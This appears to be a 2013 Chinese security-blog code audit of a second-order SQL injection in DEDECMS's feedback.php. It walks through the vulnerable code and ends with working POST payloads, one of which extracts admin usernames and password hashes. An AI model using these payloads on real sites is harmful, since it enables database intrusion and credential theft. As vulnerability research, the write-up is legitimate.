您的位置 » 首页 » 代码审计,实用工具 » 代码审计:DEDECMS 通杀鸡肋注入一枚附利用方法

代码审计:DEDECMS 通杀鸡肋注入一枚附利用方法

发表于5年前 | 作者: seay | 分类: 代码审计, 实用工具 | 孵化于:2013年03月08日 | 文章热度:8,222 次 全屏阅读

显示不全请点击全屏阅读

 

漏洞文件:/plus/feedback.php

 

if($comtype == 'comments') //问题从这里开始
{
$arctitle = addslashes($title);//$title 是关键 没有初始化 addslashes转义了我们的$title 比如我们传入1' $arctitle=1\'
$typeid = intval($typeid); //这些都是打酱油的
$ischeck = intval($ischeck);//这些都是打酱油的
$feedbacktype = preg_replace("#[^0-9a-z]#i", "", $feedbacktype);
if($msg!='') //$msg 如果不为空 继续往下走
{ $inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime', '{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg'); "; 
//$arctitle 被带入到$inquery 这个sql 语句中 我们来看看效果 

 

 

 

 

继续看代码往下走

$rs = $dsql->ExecuteNoneQuery($inquery); //ExecuteNoneQuery发送sql 语句
//思考 既然$inquery insert 到数据库后$arctitle 的值没有被转义 我们应该想办法利用啊 继续往下看
if(!$rs) //这些都是打酱油的
{
ShowMsg(' 发表评论错误! ', '-1');

exit();
}
}
}
//引用回复
elseif ($comtype == 'reply') //第二个关键
{
$row = $dsql->GetOne("SELECT * FROM `#@__feedback` WHERE id ='$fid'");//看这sql 语句
//SELECT * FROM `#@__feedback` WHERE id ='$fid' 查询的不就是我们刚刚insert的表么 $fid是get传过来的

 

 

 

 

 

往下看

 

 

$arctitle = $row['arctitle']; //看到这里你激动了么 直接取数据库里面arctitle 字段的值给$arctitle 看看$arctitle 被带入到哪里了

$aid =$row['aid'];//这些都是打酱油的
$msg = $quotemsg.$msg;//这些都是打酱油的
$msg = HtmlReplace($msg, 2);//这些都是打酱油的
$inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')";
//$arctitle 被带入到 $inquery 这里 我们构建下语句 echo $inquery 看看

 

 

 

 

$dsql->ExecuteNoneQuery($inquery);//这里用ExecuteNoneQuery发送sql 语句 我们看看这个函数吧
/*
* //
执行一个不返回结果的SQL语句,如update,delete,insert
function ExecuteNoneQuery($sql=”){…}
*
不返回结果的 没办发报错 我们只能构建其他的exp
*
想法1
*
我们在第一次insert的时候构建$arctitle=1,@`’`,1,1,1,1,1,1,1,(SELECT concat(uname,0x5f,pwd,0x5f) FROM `%23@__admin` limit 0,1)),(1,1,1,’1
* http://localhost/dede/uploads/plus/feedback.php
* post
* action=send&comtype=comments&aid=16&isconfirm=yes&feedbacktype=feedback&face=1&msg=33333&notuser=1&validate=gram&typeid=12&title=1,@`’`,1,1,1,1,1,1,1,(SELECT concat(uname,0x5f,pwd,0x5f) FROM `%23@__admin` limit 0,1)),(1,1,1,’1
*
*
然后 在取出的时候 第2sql 语句应该就变成了:
* INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`) VALUES (’16’,’0′,’
游客 ‘,’1,@`’`,1,1,1,1,1,1,1,(SELECT concat(uname,0x5f,pwd,0x5f) FROM `%23@__admin` limit 0,1)),(1,1,1,’1′,’127.0.0.1′,’1′,’1362649019′,’0′,’0′,’0′,’feedback’,’0′,”)

 

 

 

 

 

 

/* 本次审计到这里结束了 最后给出的exp是 只能select user() 大牛们可以开拓思维想想 有没别的招
*
第一次post的语句
* http://localhost/dede/uploads/plus/feedback.php
* post
*

action=send&comtype=comments&aid=13&isconfirm=yes&feedbacktype=feedback&face=1&msg=22222&notuser=1&validate=gram&typeid=12&title=',@`'`,1,1,1,1,1,1,1,(SELECT user())),(1,

 

 

 

 

 

* 2post的语句 //aid 要和上面的一样 fid 前面有说
* http://localhost/dede/uploads/plus/feedback.php
*

action=send&comtype=reply&aid=13&isconfirm=yes&feedbacktype=feedback&validate=upse&fid=9

 

*/

 

 

作者:冰封

Tags:

dedecms漏洞,

如果您喜欢我的博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容: 也可以点击链接【订阅到鲜果】

如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡


来自 Seay互联网安全博客
本文地址:http://www.cnseay.com/2373/
文章版权说明请看置顶文章,尊重作者,转载请以链接形式标明原文地址

马上分享给你的朋友吧~

发表评论

你的大名(必填)

你的邮箱(必填)

评论内容(必填)